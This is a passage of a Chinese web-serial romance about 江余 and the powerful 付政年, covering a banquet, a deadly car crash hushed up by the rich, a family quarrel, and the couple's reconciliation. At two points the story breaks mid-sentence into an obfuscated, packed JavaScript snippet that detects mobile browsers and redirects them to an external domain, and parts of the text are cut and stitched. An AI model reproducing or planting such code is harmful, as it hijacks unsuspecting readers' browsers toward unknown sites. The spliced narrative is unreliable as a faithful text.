江余到医院的时候难免又被老太太数落一阵,她都笑嘻嘻的听着,老太太拿她没办法,又不舍得真骂她,只再三叮嘱,让她明天一定要来给她办出院。 晚上江余洗完澡出来付政年就给她打了个电话,告诉她那位老爷子很满意这次的谱的曲,江余笑着问这是不是对她专业能力的肯定。 付政年笑说,“是啊,我们余余那么厉害,改行了真是一大损失。” “你少在这胡扯。” 两人又贫了几句嘴才挂断电话。 第二天早上江余去公司处理了一点事,下午去给老太太办理了出院手续,又把人送回疗养院才回家收拾。 六点,付岱的车准时出现在楼下。 上车后,江余笑着同他打了个招呼,“付公子。” “这些面子上的功夫私底下就省了吧,你直接叫我名字就行。”付岱一向不喜欢这些场面功夫,他觉得应付起来麻烦。 江余点点头,“好。” “说真的啊,之前四哥说要把那首词交给你谱曲的时候,我还觉着这件事八成是凉了,没想到你那么厉害,能让那女人把你夸成这样。” “啊?”江余疑惑的看着付岱,“不是沈家老爷子要送给他太太的吗?” “话虽是这样说,但做决定的一直是那个女人,她不敢直接跟四哥提要求,就只能让沈爷爷代劳了。” “原来是这样啊。” “那可不,除了她,谁还会有那么多事儿。” 付岱说这话的时候,语气里的嘲讽完全不加掩饰。 江余想起了上次付岱在生日会上的放纵肆意,不自觉的把他和一向喜怒不形于色的付政年进行对比,同是姓付,这堂兄弟的性格倒是天差地别。 付岱好似知道她在想什么一样,笑问道:“是不是觉得我和四哥很不一样。” 江余笑笑,不置可否。 “你别看四哥现在是这样,其实他小时候才是最皮的,有一次差点没被我大伯打死。” “是吗,真看不出来。”江余实在是想象不到付岱口中的付政年是什么样子。 闲话说到这就差不多了,付岱没再继续这个话题,跟江余聊起了其他的事来。 来到宴会厅,付岱直接带着江余去找章烨磊和陈和畅他们。 陈和畅一见到江余就扬起一副笑脸,上前跟她打招呼,“江妹妹,好久不见啊,后面怎么都不出来一起玩了。” 其实距离付岱生日,过去也就不到一个月的时间。 江余轻轻扯唇,“最近比较忙。” “在忙也要放松的嘛,这周五我组了个局,要不要叫上四哥一起过来嗨皮嗨皮。”陈和畅挤眉弄眼地说。 江余没说好也没说不好,用开玩笑的口吻说:“那你去问问他。” 言下之意就是付政年说去她便去。 陈和畅啧了声,“江妹妹那么听四哥的话啊?” 江余还未回答,一直保持沉默的章烨磊先开口了,“你这不是明知故问吗,不然付老四能让付岱带她来这儿?” 江余抬睫看向他,嘴角扬起一抹微笑,没说话。 章烨磊的目光落在江余脸上,勾了下唇,说:“江小姐这首曲子可真是厉害。” 江余轻笑一声,直视章烨磊的视线,不急不缓地说:“章总过奖了,这首曲是许多人一起努力的结果,并非是我一个人的功劳,不过还是要感谢章总,您手里人脉那么多,若不是您成全,这个机会怎么也不会落在我手上。” “而且,我要是真厉害,现在站在我旁边的,也就不会是付小公子了。” 章烨磊眸光骤然变暗。 看情况不太对劲,付岱忙出声打圆场,“哎,我看着秦总好像来了,烨磊哥,你们先聊着,我带她过去看看。” 陈和畅一想到刚才剑拔弩张的气氛,也不敢再说什么了,只点点头,“行,你们去吧。” 陈和畅看着二人离开的背影,颇有些稀奇地说:“这个江妹妹有点意思,当面就跟你叫板,一点面子都不给,不过她也没说错,你找人谱的曲,确实没让人家满意,但是她做到了。” 章烨磊冷冷看他一眼,没说话。 陈和畅伸手搭上章烨磊的肩,“你生气不就是觉得她不该来这吗,但是你也不想想,在你快要饿死的时候,有人给你送来一碗饭,你要还是不要。” 章烨磊冷哼一声,转身往另一边走。 陈和畅忙跟上他,“反正我还是很欣赏江妹妹的,就冲她直接跟你叫板这一点,我都必须给她点个赞。” “那你去问问付老四什么时候腻,到时你就有机会了。” “哎哎哎,烨磊哥你别乱说啊。” * “烨磊哥说话就是这样,你别放在心上。”走出去一段距离后,付岱这样同江余说。 江余轻轻笑着,说不会。 她心里很清楚,其他人也都是这样想的,只是章烨磊说出来了而已。 有付岱牵线,江余成功在这场宴会上拉到了两个合作方,明年第一季度的问题基本上是已经解决了。 两人一起走出宴会厅,江余感激的对付岱道:“今天多谢了,有时间我请你吃个饭。” “没事,我只是牵个线,最终的结果还是你自己谈下来的,走吧,我送你回去。”付岱说。 “好。” 江余今晚喝了不少的酒,上车后把车窗打开了一些,她看着车窗外涌动的人潮,感叹道:“最近晚上的人还挺多的。” 付岱从手机里抬起头看了眼,笑道:“不是马上就到世界末日了吗,最后的时间肯定要出来玩玩。” 今天是12月18日,距离玛雅预言只剩下最后的三天。 网络上对此事的争论也是沸沸扬扬的。 说起此事,付岱就好奇的多问了一嘴,“你信吗?” “半信半疑吧,真假也只有到那天才知道,不过我现在在想一件事。”江余说着说着还有些苦恼起来。 “想什么?” “如果周五真的是世界末日,在生命的最后几天我竟然还在上班,多可怜啊,所以我在想,要不要给自己放三天的假,但是我又怕如果这个预言是假的,我出去玩了三天再回来,公司的人不得笑话我啊。”江余趴在车窗上,一脸认真地说。 付岱没有想到会从江余的口中听到这番言论,一时之间真是哭笑不得,“我现在可算知道四哥为什么看上你了,你确实挺有趣的。” “我之前跟他并不熟,你倒不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他嘴角的笑,深深刺痛了江余的眼。 整个过程,他们都没有一句对这几个无辜丧命之人的惋惜,他们似乎早就想好了对策,完全不担心查到那人身上该怎么办。 这一刻,江余觉得恶心透了,恶心到直反胃。 他们这样的人,心情好时,随手一挥就能让路边的流浪汉余生不再为钱发愁,心情不好时,一个行为便使得几个家庭支离破碎。 他们不漠视人命,但也从不把人命放在眼中。 良好的家教给他们身上镀了一层金,可扒开来看,也不过是金玉其外,败絮其中。 江余面无表情的坐在这里等了半个多个小时,道路才重新被疏通,临走前,她看到一具被烧焦的尸体抬上了救护车。 那瞬间,她的眼泪再次掉落。 付岱连忙抽了两张纸递给她,“被吓到了?” “没有。”江余擦干眼泪,勉强挤出来个笑,始终都未再看付岱一眼。 付岱却以为她是真的被吓到了,安慰了几句就让司机开快些,早点让她回去休息。 16. 16 回到出租屋,江余抱着全家福失魂落魄的坐在沙发上,今天发生的事在她脑海中始终挥之不去。 她当时收到江父江母出车祸的消息时,他们人已经在医院抢救了,所以她并不知道车祸现场是什么样的,若非今晚亲眼见到,她实难想象是有多么惨烈。 那时候的他们,又该有多疼啊。 江余沉浸在自己的世界中,就连桌上的手机铃声响了都没有听见。 直到电话第三次响,她这才回过神来。 看到是付政年打来的,江余第一想法是把电话挂断,可最后她还是接了起来。 “刚刚在干什么呢,打几个电话都没接。” 虽是责怪的话,但付政年的语气却带着几分笑意,听起来倒叫人觉得有些宠溺的意味。 如果是平时,江余或许还会因此有些波动,但如今她心里一点波澜都没有,平静开口:“刚刚在洗澡。” “付岱说,你今晚被吓到了?” “没有。” “怎么了,听你的语气好像不太高兴。”付政年很敏锐的察觉到江余的情绪不太对,她平日对他虽然谈不上热情,但也没有那么冷漠,甚至比他们刚认识的时候都还要疏离。 “没,就是有些累了,你有什么事吗?” 付政年沉默了几秒才又出声,“这不是怕你被吓到了,打个电话关心一下你,看来是多余了,人家可是一点都不领情呢。” 江余轻笑了一下,“我以为你是来找我兴师问罪的。” “什么?” “付总消息灵通,难道没听说在宴会上发生的事?” “所以你是在为这事生气?” “没有,是真有些累了,如果没什么事的话就先挂了,我要睡觉了。” 就算付政年脾气再好,江余一而再再而三的冷言冷语,他自然也不会上贴着,说了句“行”就挂断了电话。 坐在沙发上的章烨磊拿着酒杯哼笑了声,“告状了?” “告状?”付政年放下手机走到他对面坐下,“她这是不乐意搭理我,用这件事堵我嘴呢。” “怎么着,是逆来顺受的见太多,眼光变独特了,就喜欢点不一样的?” 付政年拿起杯子也给自己倒了杯酒,不以为然道:“或许是吧。” 章烨磊虽然跟付政年一块儿长大,但有时候也看不懂他到底在想什么,他略带审视的看着付政年,“我一开始以为你无非就是砸点钱,帮她渡过现下的难关就行,现在看来,你是真准备托举她,给她搭桥铺路,你就不怕惹上麻烦?” 付政年点了根烟,过了一会儿才说:“她是个懂事的人,而且你不也挺欣赏她的吗,不然就冲今日这一出,你能让这事就这样过了?” 章烨磊没有反驳,只问:“那你今天怎么不亲自带她去?” 付政年笑了笑,端起酒杯同他碰了下,说:“失了分寸就不好了。” * 江余一整晚都没怎么睡,第二天头昏脑涨的去了公司。 前段时间人事部招人,给江余招了个秘书,叫白恬,工作能力不错,很有眼力见,江余挺喜欢她的。 她来之后宁宏也轻松了不少。 江余打开网站搜索了一下昨晚那通车祸,不出她所料,网上根本搜不到具体情况,就偶尔能够在几个评论区看到有人说起,但很快就删除或者被其他消息顶下去。 这一场车祸,并没有因为死了几个人而受到广大关注。 那个罪魁祸首,也没有得到应有的惩罚。 江余深知昨晚那通电话多少是她不识好歹,她应该去跟付政年道个歉,但她心里就是不舒服,觉得膈应的慌。 她本来想着缓一两天再说的,后面因为年末事情比较多,就忙忘记了。 直到付政年的电话打过来,她才惊觉他们已经整整三天没有联系了。 没有过多的寒暄,付政年开口就是问她在哪。 江余莫名有些心虚,“还在公司加班。” “20分钟后,我到你们公司楼下。” 说完,付政年没有给她再开口的机会,直接将电话挂断。 江余无声叹了口气,一看时间竟然已经快九点了,但她手里面的工作还有点没有处理完,这些都是不能拖的,她只好在微信上给付政年发了个消息说明情况,放下手机后又不断加快进度,终于在半小时之后全都解决了。 江余赶忙关电脑收拾东西。 付政年在楼下应该等了有一会儿了,江余下去的时候,他正倚在车上抽烟。 他今天穿了一身黑,眼睛看着地面,神情紧绷,给人一种阴戾感,明显是心情不太好。 江余握紧手提包朝他走去,“外面那么冷,怎么不在车里等。” 付政年掀开眼皮看她一眼,把烟掐灭,说了句“上车”就直接绕到驾驶位拉开车门。 江余抿了抿唇,只好跟着上了车。 付政年一言不发的发动车子。 “对不起,那天的事是我的错。”江余主动出声打破僵局。 付政年眼睛盯着前方的路,单手掌着方向盘,没多余给她一个眼神,声线也格外冷淡,“嗯,继续。” “我不是因为章总的话生气,更没有让你难做的意思。” 说到这,江余又停下了。 前方正好是红灯,付政年把车停下,转头看着她,等待她说出原因。 江余不太喜欢这种被人逼问的感觉,尤其是她和付政年这种关系。 她一向认为,情人和情人之间,没必要刨根问底,点到为止就行,反正又不会长久,问那么透彻就没意思了。 但这件事追根究底还是她的问题,所以她避重就轻地说:“我爸妈也是出车祸去世,那天在车祸现场难免触景生情,我本来想着第二天跟你道歉,后来忙忘了。” 付政年伸手去掐她的脸,无奈说:“余余,有时候我是真拿你没办法。” 江余却笑道:“你现在是不是在想,当初怎么就瞎眼看上我了呢。” 看他刚缓和些的脸色又要沉下去,江余凑过去在他唇上亲了一下,笑问:“还生气吗?” 看着她这幅样子,付政年有气无处发,拉过她重重吻下去,到红灯快结束时才放开她,随后说:“坐好,绿灯了。” 江余捂着被他咬的生疼的嘴唇,乖巧坐好,过了一会儿她又问:“我们这是去哪?” 付政年没有直接回答她,只说到了就知道了。 今晚上出行的人格外多,堵车也比较严重,江余打开车窗,看着外面成群结队的人,不禁在想,要是今天真是世界末日,那他们这算不算是相伴走到了彼此的生命尽头。 车子走走停停,最后驶进一个小区的停车场。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084583|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江余看着这个熟悉的地方,木然转头,“你带我来这干什么?” 付政年笑了笑,把车停好后从前方的储物格拿出一个房产证递给她。 江余立即接过打开,看清上面的内容后震惊地看向他,“你怎么......” “这套房是你父母留给你的,当时卖了也是情非得已,没多久就过年了,你总不能让奶奶一直待在疗养院。” 公司的危机渡过后,江余一直想着要把房子买回来,但是当时买她房子的那人不愿意卖,无论她怎么加价都不松口,最近她就在想要不要重新买个房子把老太太接回来,结果现在付政年帮她办妥了。 “谢谢。”江余眼眶不争气的红了,声音里也带了丝哽咽。 付政年揉了揉她的头,笑道:“走吧,上去看看。” “嗯。” 时隔八个月再回到这里,江余却有一种恍若隔世的感觉,站在门口迟迟不敢进去。 付政年直接输入密码,揽过她的肩把她带进去。 “我不知道你喜欢什么风格,也就没叫人重新装修。” 江余环顾一圈,屋里的陈设被上一任主人全都换过一遍,早就没有了之前的痕迹,她摇摇头,说:“没事,我自己来。” 她想亲手把这个地方,恢复成之前的样子。 看着这个熟悉又陌生的地方,饶是她再怎么克制,眼泪还是止不住的往下掉。 认识那么久了,这还是付政年头一次看到她哭,他仔细看了一下,跟他想象中的一样,江余哭起来十分好看,睫毛沾着细碎的水光,含泪的双眼盛满了今晚所有风光。 一惯绅士的付公子,如今看到美人垂泪,竟也无动于衷。 一通电话的到来打破了这“和谐”的气氛,付政年看了一眼就拿起手机走到窗边,半晌后低声说了句我知道了。 他再看向江余的时候,她已经收拾好情绪,顶着一双通红的眼眶看着他,“是有什么事吗?” 付政年勾勾唇,点头道:“嗯,家里有点事,我要回去一趟。” 停顿一下后他又说,“都世界末日了都不让我消停一下。” 江余没忍住笑出声,“现在已经11点半了,要真是世界末日,你也只剩下不到半小时的时间,怕是到家都不够。” 付政年上前把她抱怀里,捏着她的下巴让她抬起头,笑说:“那不如你陪我回去吧,如果是真的,这样阴曹地府我们也能做个伴。” 江余拍掉他的手,“好了,少胡扯,有事你就赶紧走吧。” “余余,你这可是过河拆桥啊。” 江余抬头与他对视,“行啊,那走吧,如果是世界末日我们就一块死,不是的话,还能顺便见见家长。” 付政年嘴角还挂着笑意,眼神却慢慢便暗,沉默的看着她,似要将她整个人都看穿。 江余又推他一把,“跟你开玩笑的,赶紧走吧,别让人等久了。” 付政年这才松开她,“我先送你回去。” “不用,我再待一会儿,等会儿打个车回去就行。” 付政年也没有再多说,俯身在她唇上印下一吻,留一下一句让她早点回去就走了。 江余一直在阳台上坐到12点才起身离开。 2012年12月22日,-5°~6°,霾。 世界末日终究是没有到来。 17. 17 隔天,付政年刚从饭局上下来就接到了付岱的电话,他烦躁的接起,“有什么事?” 那边应是有人在,付岱刻意压低了声音,“四哥,大伯回来了,现在人都到齐了,就等你了。” 付政年嗤笑道:“他消息倒是灵通。” “你抓紧时间吧,他脸色很难看,家里都没人敢说话,反正你到时候注意些。” “嗯,我知道了。” 挂完电话,付政年打开车窗点了跟烟,深色的的瞳孔隐于黑暗之下,也将他那些从不轻易流露的情绪藏在其中。 过了好半晌他才出声,“回老宅。” 黄师傅应了声,掉转车头往三里屯方向开。 付家老宅里,一屋子人安静的坐着,连呼吸声都在刻意的压低。 付老爷子有两个孩子,付政年的父亲付兴平和二叔付学义。 上一辈那么简单的关系,到了他们这一代可就有些复杂了。 付兴平和前头的妻子生下了付嘉良,在原配出任务去世后又和付政年的母亲结婚,这才有了他。 付学义也是,和上一任妻子孕育了一对双胞胎女儿,后来大女儿生病去世,就只剩下二女儿付玥,付玥一岁多的时候,她母亲外派,两人因为长时间两地分居就离婚了,后来付学义二婚,生下了付岱。 付家四个孩子,没有一个是一母同胞。 现下因为前些天跟齐家的事情闹得有些大,付兴平才把所有人都给叫了回来。 付兴平再一次抬起手腕看时间,眉头越皱越紧,耐心显然已经快要用尽,他冷声问:“付政年怎么还没到?” 一屋子的人谁都没有吭声,全都把目光投向从小跟付政年穿一条裤子的付岱身上。 付岱扯了下唇,硬着头皮道:“应该快了。” “你一个小时前就是这样说的,现在他人呢?”付兴平身上有一种天然的不怒自威,他的语气不重,却无形中给人一种很强的压迫感。 付岱立即垂着头不敢再说话。 “再给他打电话。”付兴平声音陡然加重。 “哦,好。”付岱点点头,赶忙伸手去兜里掏手机。 “不用打了。”付政年从外面大步走进来,看了圈这一屋子的人,最后眼神落在付兴平身上,唤了声,“爸。” 紧接着又同旁边的付学义打了个招呼,“二叔。” 付学义笑着应道:“哎,快坐。” 付兴平却是从始至终都没有给他一个眼神。 付政年坐下后便直接问:“您那么着急叫我回来,是有什么事吗?” “你还好意思问,你把事情做的太绝,齐家开始反扑,你大哥他们全都因此受到了影响。” “我已经在想办法解决了。” “你准备怎么做?” “把齐家彻底搞垮。” “胡闹,因为你的意气用事,现在已经造成了这种局面,你姐夫前这几天被上头带去问话好几次,你还嫌不够乱是吧。” “一个月,最多一个月,齐家在商场上,一定再也翻不了身,就算他们根基再深,失去后方支持,把他们拉下来也不是什么难事。” 付政年今晚喝了不少酒,口干的紧,正准备倒杯茶,付兴平突然一巴掌拍在桌上,再一次否决他的提议,“不行,谁不知齐家跟付家关系匪浅,做的太过难免会被人诟病,你大哥马上就要升职,不能出一点差错。” 付政年倒了杯茶,不紧不慢的喝完,才又看向付兴平,“那照您的意思,现在应该怎么做?” 付兴平思索再三,看向付政年和付嘉良,说:“你们去约齐家的人吃饭道个歉,把东亭的项目还给他们,其他的等嘉良升职之后再说。” “爸,齐家现在越发没有分寸,我觉得政年说的有道理,再忍下去他们只会得寸进尺。” 付嘉良不太赞同付兴平的话,齐家最近的所作所为确实过分,大家心里都有不小的怨气。 “但再怎么说那也是你舅舅。”付兴平沉着脸说。 付嘉良:“爸......” “行了,就这样定了。”付兴平语气不容置喙,直接拍锤定音。 付政年笑了声,“您还真是念及旧情呢。” 怎么听这话都像是在嘲讽。 付兴平脸色瞬间铁青,付嘉良和付玥忙出声,一个劝付兴平,另一个呵斥付政年。 这父子俩一直不对付,每次见面都不欢而散。 付兴平忍着怒火说:“这两天务必把这件事解决,不能再出一点岔子。” 付政年脸上的笑意全无,他迎上付兴平的视线,平声道:“既然爸不满意我的提议,那这件事我就不掺和了,你们自己解决。” 说完他起身就往外走。 付兴平的怒火在此刻再也压抑不住,他抄起面前的茶杯就往付政年身上砸去。 茶杯在付政年的后脑勺碎裂,落在地上发出一声接着一声脆响。 而他脚步都未停一下。 付兴平伸手指着他,气的破口大骂,最后说:“你当真以为这个位置就非你不可吗?” 付嘉良拍着付兴平的背劝道:“爸,您别生气,这事我们从长计议。” 付学义在一旁附和,“对,政年对齐家有怨,就随他吧,我到时候带着付玥走一趟就行了。” * 江余打车来到付政年居住的小区,上星期她跟着付政年出入好几次,保安对她也眼熟,让她登个记就放她进去了。 她来到付政年家门口,先是摁了几声门铃,结果等半天都没人开门,她便果断输入密码。 打开门,房子里面一片漆黑,如果不是闻到那股刺鼻的酒味,江余都要以为里面没人。 她摸索着打开玄关处的灯,放下包换上拖鞋才往里面走。 客厅的灯亮起,江余看到付政年双腿交叠躺在沙发上,脸上还覆着一个抱枕,面前的茶几上还摆放着一个快要见底的酒瓶。 江余头一次见到这样的付政年。 她走过去蹲下,拿开他脸上的抱枕,“外面太冷了,去房间睡吧。” 一下子接触到光线,付政年皱起眉头睁开眼,看到面前的人他明显一愣,半晌后才问:“你怎么在这儿?” “付岱说你心情不是很好,让我来看看你。” 接到付岱电话的时候江余正在把装修的要求和细节整理出来发给装修公司。 付岱说付政年跟家里人吵架,酒驾离开,他那里走不开,让江余有时间的话去看看他。 挂完电话她就直接过来了。 付政年重新拿过抱枕盖脸上,没再多看她一眼,“我 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她也没想到,付政年喝多了酒,竟会莫名有些固执。 她去卫生间把吹风机拿出来,刚想把插头插上,结果付政年就拉着她的手把她往怀里扯,语气中带着火气,“我说不用管,你没听到吗?” 刚刚被他这一扯,吹风机也掉在地上,江余看他一眼,把他手拉开,把吹风机捡起来重新插上,“不吹干待会儿会头疼。” 付政年突然卸了力,这姑娘油盐不进,他有些拿她没办法,索性靠在沙发上任由她折腾。 她的动作很温柔,渐渐的他还有些享受起来。 把他头发吹干,江余把吹风机归位,又洗了个手才出来,她在付政年身旁坐下,伸手去碰了一下碗壁,而后道:“差不多了,快喝吧。” 她今晚的表现看起来处处包容,脾气好到像是没有脾气,但实则却是处处与他反着来,根本就没听他一句话。 付政年想,要是现在他拒绝了,她也一定会想方设法的让他把这碗醒酒汤喝下去。 这一来一去的拉扯实在没意思,他也没这个心情,便端起来一口饮尽,省了许多功夫。 江余接过碗去厨房洗净放回原位,又出来把茶几上的残局收拾好。 付政年全程都没再说什么,安静的看着她忙活。 等她全都弄好,他才拍了拍身边的位置,让她坐过来。 付政年把她揽怀里,问:“刚刚你是下去买东西了?” “……嗯。” 其实一开始她是真想走的,但走到门口又想起他今日颓丧的模样。 可能心软就是女人天生的毛病,她去买了些东西又折返回来,没有脾气,任劳任怨的做这一切。 “你明天记得换个密码,这样下次如果再发生这样的事,我就进不来了。” 付政年笑了声,“记仇了?” “没呢,我认真的。” 她不想窥见他的失意,不想产生同他走近些的念头。 付政年叹息道:“那可怎么办,我好像离不开你了。” 江余抬眼去看他,他眼中还是喝醉后特有的朦胧,随口一说的话,无端乱人心绪。 18. 18 江余仰起头朝他笑笑,“付总省点力气吧,我不吃这套。” 付政年把下巴搁她肩上,喝多了酒,语气也有些懒散,“那你喜欢什么,告诉我,我去学。” 江余真受不了他用这种语气跟她说话,温柔到了极致,又带着无限纵容,让她毫无抵抗的能力。 她推了下他,说:“不早了,快去睡觉吧。” 付政年点点头,揽着她起身往房间走。 江余本打算等他睡下就出去的,哪曾想付政年直接拉着她躺下,她忙开口:“我还没洗澡。” 付政年摁住她乱动的手,把她抱进怀中,“别动,陪我躺一会儿。” 停顿一会儿,他又说:“行吗?” 这种近乎请求的语气让江余堵得喘不过气来,她抬起头,心里止不住的心疼。 脑海中有无数道声音告诫她要及时止损,可她还是在黑暗中抚上他的脸,大有一种孤注一掷的决绝,轻声问:“发生什么事了?” 从前他们对彼此的态度,一直都是不多问,不多管。 但从她问出这句话开始,这个规则就已经叫她打破了。 寂静黑暗的环境中,旁边人的呼吸轻慢平缓,连带她也有了一丝困意。 江余以为这是一句得不到回应的话,可就在她昏昏欲睡时,耳边响起付政年暗哑的声音,“费了好大劲拿到的单子,被人白白拿去送人。” “可笑吧,我之前以为他是个从不顾念旧情的人,后来才知道,他的情义原来是给了别人。” 江余心中一惊,不敢再往下问,她伸手环住他的脖颈,企图能够通过拥抱让他心里好受些。 她的手不小心碰到他的后脑勺,结果却摸到一片濡湿。 她很确定,她绝对把他头发吹干了的。 江余收回手放到鼻尖处轻嗅,这才闻到一股血腥味。 她顿时有些慌乱,“你头怎么了?” 说着她就要支起身子去开灯。 付政年长臂一伸又把她捞回去抱着,低声道:“没事。” “都流血了,我看看。” “余余,乖一点。”他抱着她的手又加重了几分力度,让她根本动弹不了。 从方才的几句话来看,他现在是疲惫至极的。 江余明白他是不想让别人看到这一面。 她又伸手去他后脑勺摸了一把,估摸着伤口应该不大,便由着他,想着等他睡着了她再起来帮他处理。 “跟我说说话吧,什么都行。” 付政年似乎很满意她的表现,在她额头上落下一吻,低喃道。 说什么呢? 她的前22年过得十分简单,仅用只言片语就可描述清楚。 江余挑了些她觉得有意思的跟他讲,在她每说完一件事,付政年都会很配合的“嗯”一声,说继续。 江余觉得,他并不是想让她跟他说话,只是这时候需要一个人在他旁边说话,甚至她说了什么,他都未必在听。 可就算如此,她也还是没有停下。 到后来,她都觉得她快要把这22年来能够记得的所有事说完了。 在江余说完之前跟宫白卉一起逃课被抓住的事后,付政年没有像之前一样回应,她轻唤了声,“付政年。” 他没有应。 江余松了口气,想着起来给他处理一下后脑勺的伤。 她去外面找了一通,才在电视柜最下方找到医药箱。 怕开灯又把他扰醒了,她就借着手机的灯光绕到另一侧,轻轻扒开他的头发查看。 伤口不大,只有一个小口子,所以给他吹头发的时候她才没有发现。 江余很快就处理好了。 忙活那么久,她现在也有些累,就这样坐在床上去看付政年。 她今天看到了付政年的另一面,还听了些不该听的话,要是搁古代,她都怀疑明天一早起来她就要被灭口。 就在这时,江余发现付政年的脸红的不太正常,她摸了下他的额头,烫的有些吓人。 她忙从医药箱中翻出体温枪,一测才发现付政年竟然烧到了39.7°。 他本来就喝了酒,现在又发烧,她一个人也没办法把他弄到医院,江余属实是有些头疼。 最后她决定先找退烧药让他吃下,明天早上再看看情况。 但付政年这医药箱应该是很久没有用过,里面的药都过期了。 江余只好跑下楼去买,幸好药店这时候还没有关门。 让付政年把药吃下后,江余是彻底没了力气,去浴室快速洗了个澡就在他旁边躺下。 因为心里记挂着他的情况,她一直都不敢睡得太熟,直到后半夜付政年的烧退了,她这才安心睡过去。 * 翌日,在闹钟响的前几分钟江余就醒了,她看了眼时间后默默把闹钟关闭。 有些不禁想笑,怎么就那么巧呢,偏生跟他在一起的时候醒的那么及时,没有让闹钟吵到他。 江余又摸了下付政年的额头,确认他没再发烧后才下床洗漱。 看到镜子里那厚重的黑眼圈,她自己都被吓了一跳。 她之前的衣服还在这,江余挑了一套换上。 等她出来的时候付政年还没醒,但她今天有一个很重要的会要开,在茶几上给他留了张纸条就走了。 可能是很久没有松懈过了,付政年睡到快中午才醒。 付家的人每隔一段时间都要体检,发现问题就及时调理治疗,所以他身体素质挺好,并没有因为昨晚发烧而有什么不适。 他走过去拿起茶几上的纸条,轻轻一笑。 他觉得江余是个很矛盾的人,看起来温婉随和,实际上一身的刺,但在这些刺下,又隐藏着一颗极具包容性的心。 有时候他都不太能看的懂她。 虽然付政年说了不掺和这事,但付兴平难免会给他找些事做,后面这段时间也是忙的焦头烂额,一直没时间去找江余,只偶尔打个电话或是在微信上聊几句。 时间转眼来到31日,过了今天,马上就是2013年。 付政年下午打电话说,陈和畅攒了个局,问江余要不要一起过去玩玩。 前段时间宁宏提出组织个年会,就在今天,江余不好缺席,就说让他们先玩着,等这边结束她再过去找他。 公司年轻人多,跨年夜许多人都要去约会,所以在10点就结束了。 付政年原本说过来接她,江余嫌麻烦,就让他发了个地址,她打车过去。 像他们这些人聚会,一般都是在私人会所,康桥虽然是章烨磊的场子,但他们很少去。 到地后,江余跟前台的 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孙雨彤也在这,如果她进包间,又会是个什么样的场面。 只要一想到她也是那被左拥右抱的其中之一,心里就十分抗拒。 纠结好久,江余始终无法说服自己迈出这一步,她拿起手机给付政年发了个消息就转身离开。 付政年的电话是10分钟后打来的,那时候江余已经坐上了回去的车,她刚想接,哪曾想手机竟在这时候关机了。 江余无奈叹气,今天一直在忙,她倒是忘记关注手机电量这回事了。 她现在脑子很乱,也懒得再管,就这样闭目放空自己,后面险些都要睡着了。 到小区门口,江余付完钱下车,结果一抬头就看见前方停着的那辆黑色奥迪。 她站在原地愣了几秒才有所动作。 江余走到车旁,侧边的车窗是打开的,付政年坐在后排抽烟,见她走上来,就偏头盯着她,等待一个解释。 然而江余开口的一句话就险些让他爆粗口,“你们没有堵车吗?” 这是付政年头一次体会被气到无语是什么感受,是真的连脾气都发不出来。 他把烟掐灭,拉开车门往里坐了些,抬手招呼她上车。 上车后江余又问:“你怎么来这儿了。” 沟通这才回到正轨上。 付政年不答反问:“怎么不接电话?” “手机关机了。” 付政年就静静地看着她。 “是真的。”为了验证自己的话,江余还拿着手机特地给他演示了一遍,“根本开不了机。” “你今晚没过去?”付政年又问。 “过去了。”付政年既然能来这蹲她,肯定是知道她去过了,她也没有隐瞒的必要。 “那怎么临时走了。” “就是觉得我不应该进去。” 付政年笑了声,“那你觉得谁应该进去?” 这种互相打哑谜,试探来试探去,搞得江余十分累,都已经到了这步,她索性直接把话摊开了讲。 “付政年,我不知道在你们这个圈子里这事是不是很寻常,但我是真没法接受。” 19. 19 “孙雨彤不是我叫来的。” “我知道。” 付政年回头看她,明显是在问你知道还生气? 江余沉默着同他对视。 她不是你叫来的,但面对她的示好,你也没有拒绝。 良久,她轻叹声气,“对不起,是我扰了你的兴致,我们现在回去吧。” 付政年伸手揽过她的肩,她的神情十分平静,眸色也似一潭死水,无波无澜。 她这个道歉,并非是真觉得她错了,而是不想争论了。 付政年语气难得认真,“我在里面待的有些闷出来透口气,孙雨彤最近遇到了点事,找我帮个忙,就只是这样。” “我跟她都没有联系,不信你自己看。” 他说着还把手机递到江余面前,力图证明他的话所言非虚。 他都主动解释了,江余还能说什么呢,她也没有真去看他手机,笑着把他的手往回推,“行了,我也没说不信你。” “那还生气吗?” “我真没生气。” 她只是有些接受不了罢了。 江余不想继续这个话题,“我们现在去哪呢,回去吗?” 付政年轻轻一笑,手指撩开她的头发,捏了下她的耳垂,说:“不去了,去我那儿吧。” “好。” “这两天应该没什么事了吧?” “公司要放假,我也得两天空,怎么了?” “刚好我也有时间,想去哪,我带你去玩一下。” “付总这个大忙人也有时间啊。”江余调侃了两句,“让我想想啊,” 说着她抬头看了付政年一眼,语气有些为难,“还挺难抉择的。” “怎么?” “我跟付总到底不是一个年龄段的人,我怕我喜欢的你不感兴趣。” 付政年掐她的脸问,“嫌弃我老是吧?” “我哪敢啊。” “还有你不敢的事?” “那可多了去了。” ...... 一路上付政年都把江余半抱在怀里,两人有一搭没一搭的聊着,跟从前一般无二,似乎完全没有受到今晚插曲的影响。 刚到家,付政年就接到个电话,需要处理一份加急文件,他让江余自己先待一会儿就进了书房。 今晚江余身上沾染了很重的烟酒味,她觉着难受,就先去洗了个澡。 等她洗完,付政年也刚好把事情处理完,他一出来就看到她披散着头发站在客厅,身上穿的是他的浴袍,长度到脚踝的位置,冷调的灯光打在她脸上,给她添了几分清冷。 付政年走过去想抱她,结果就被江余伸手抵住,“我刚洗完澡呢,你身上一股酒味。” 今晚一再被她嫌弃,付政年没管她的抗议,把她拉怀里报复性的咬上她的唇。 最后在她要发火的时候进了浴室。 